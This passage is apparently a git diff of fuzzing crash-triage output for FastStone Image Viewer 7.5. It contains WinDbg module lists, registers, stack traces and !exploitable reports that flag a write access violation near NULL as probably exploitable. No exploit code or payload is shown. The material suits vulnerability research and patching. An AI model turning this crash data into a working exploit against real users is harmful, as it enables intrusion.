+STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/9347/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ed12e7e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..fd4d6c2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,175 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`6b230000 00007ffa`6b425000 ntdll.dll +ModLoad: 00000000`77da0000 00000000`77f43000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1058: page heap enabled with flags 0x3. +ModLoad: 00007ffa`694b0000 00007ffa`69509000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`6a8d0000 00007ffa`6a953000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77d90000 00000000`77d9a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`6f830000 00000000`6f895000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1058: page heap enabled with flags 0x3. +ModLoad: 00000000`77ae0000 00000000`77bd0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`75ef0000 00000000`76103000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`767e0000 00000000`76973000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`77d60000 00000000`77d78000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`76d70000 00000000`76d93000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`77950000 00000000`77a2a000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`77ce0000 00000000`77d5b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76da0000 00000000`76ec0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`776f0000 00000000`77769000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`77890000 00000000`7794f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76bc0000 00000000`76c35000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76720000 00000000`767da000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76fb0000 00000000`77046000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`75c60000 00000000`75ee1000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76ec0000 00000000`76fa3000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`75740000 00000000`75748000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`6f820000 00000000`6f826000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`77ab0000 00000000`77ad5000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74480000 00000000`74692000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627\comctl32.dll +ModLoad: 00000000`76110000 00000000`766c1000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`6edd0000 00000000`6ee3d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`77200000 00000000`772af000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`77c50000 00000000`77cd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`766d0000 00000000`76715000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`6f800000 00000000`6f81b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`6f780000 00000000`6f7a2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`70fa0000 00000000`70fc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`6e5a0000 00000000`6e73a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`77870000 00000000`77889000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`6f760000 00000000`6f779000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75110000 00000000`75717000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`6edb0000 00000000`6edcd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`750e0000 00000000`75104000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 6f9b0000 6f9f7000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`759c0000 00000000`75a34000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`77120000 00000000`771f3000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`6ed90000 00000000`6eda9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`75720000 00000000`7572f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76cb0000 00000000`76d0c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77050000 00000000`7708b000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`77bd0000 00000000`77c4e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74bd0000 00000000`74c93000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`750c0000 00000000`750dd000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`742d0000 00000000`74364000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`70150000 00000000`702c0000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`6e950000 00000000`6e9b1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`6ed80000 00000000`6ed87000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`70a80000 00000000`70ab2000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`70730000 00000000`70895000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`708a0000 00000000`70a80000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`70660000 00000000`70722000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`704d0000 00000000`70660000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`74280000 00000000`742c9000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`750a0000 00000000`750aa000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`75070000 00000000`75098000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`6ed60000 00000000`6ed75000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`74a10000 00000000`74a29000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f90000 00000000`70f9b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`74370000 00000000`743f2000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1058.17c4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=080d5519 edx=00000000 esi=00000000 edi=0965cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0023:00604b66 fpdp=002b:080d5870 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.831119044340368480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.665000000000000000000e+0003 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=1.02857e-038 1.0653e-038 9.82655e-039 9.64286e-039 +xmm7=1.5134e-043 9.91837e-039 4.22458e-039 1.05612e-038 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 081b8130 08135930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 77aff989 00309000 77aff970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 77e074b4 00309000 fb5a12be 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 77e07484 ffffffff 77e2733b 00000000 ntdll_77da0000!__RtlUserThreadStart+0x2f +0019ffec 00000000 00963a10 00309000 00000000 ntdll_77da0000!_RtlUserThreadStart+0x1b + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x35647477 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77da0000!__RtlUserThreadStart+0x2f +STACK_FRAME:ntdll_77da0000!_RtlUserThreadStart+0x1b +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x35647477) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..fd4d6c2 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/WindowsDebugEngine_description.txt @@ -0,0 +1,175 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`6b230000 00007ffa`6b425000 ntdll.dll +ModLoad: 00000000`77da0000 00000000`77f43000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1058: page heap enabled with flags 0x3. +ModLoad: 00007ffa`694b0000 00007ffa`69509000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`6a8d0000 00007ffa`6a953000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77d90000 00000000`77d9a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`6f830000 00000000`6f895000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1058: page heap enabled with flags 0x3. +ModLoad: 00000000`77ae0000 00000000`77bd0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`75ef0000 00000000`76103000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`767e0000 00000000`76973000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`77d60000 00000000`77d78000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`76d70000 00000000`76d93000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`77950000 00000000`77a2a000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`77ce0000 00000000`77d5b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76da0000 00000000`76ec0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`776f0000 00000000`77769000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`77890000 00000000`7794f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76bc0000 00000000`76c35000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76720000 00000000`767da000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76fb0000 00000000`77046000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`75c60000 00000000`75ee1000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76ec0000 00000000`76fa3000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`75740000 00000000`75748000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`6f820000 00000000`6f826000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`77ab0000 00000000`77ad5000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74480000 00000000`74692000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627\comctl32.dll +ModLoad: 00000000`76110000 00000000`766c1000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`6edd0000 00000000`6ee3d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`77200000 00000000`772af000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`77c50000 00000000`77cd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`766d0000 00000000`76715000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`6f800000 00000000`6f81b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`6f780000 00000000`6f7a2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`70fa0000 00000000`70fc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`6e5a0000 00000000`6e73a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`77870000 00000000`77889000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`6f760000 00000000`6f779000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75110000 00000000`75717000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`6edb0000 00000000`6edcd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`750e0000 00000000`75104000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 6f9b0000 6f9f7000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`759c0000 00000000`75a34000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`77120000 00000000`771f3000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`6ed90000 00000000`6eda9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`75720000 00000000`7572f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76cb0000 00000000`76d0c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77050000 00000000`7708b000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`77bd0000 00000000`77c4e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74bd0000 00000000`74c93000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`750c0000 00000000`750dd000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`742d0000 00000000`74364000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`70150000 00000000`702c0000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`6e950000 00000000`6e9b1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`6ed80000 00000000`6ed87000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`70a80000 00000000`70ab2000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`70730000 00000000`70895000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`708a0000 00000000`70a80000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`70660000 00000000`70722000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`704d0000 00000000`70660000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`74280000 00000000`742c9000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`750a0000 00000000`750aa000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`75070000 00000000`75098000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`6ed60000 00000000`6ed75000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`74a10000 00000000`74a29000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f90000 00000000`70f9b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`74370000 00000000`743f2000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1058.17c4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=080d5519 edx=00000000 esi=00000000 edi=0965cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0023:00604b66 fpdp=002b:080d5870 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.831119044340368480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.665000000000000000000e+0003 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=1.02857e-038 1.0653e-038 9.82655e-039 9.64286e-039 +xmm7=1.5134e-043 9.91837e-039 4.22458e-039 1.05612e-038 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 081b8130 08135930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 77aff989 00309000 77aff970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 77e074b4 00309000 fb5a12be 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 77e07484 ffffffff 77e2733b 00000000 ntdll_77da0000!__RtlUserThreadStart+0x2f +0019ffec 00000000 00963a10 00309000 00000000 ntdll_77da0000!_RtlUserThreadStart+0x1b + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x35647477 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77da0000!__RtlUserThreadStart+0x2f +STACK_FRAME:ntdll_77da0000!_RtlUserThreadStart+0x1b +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV 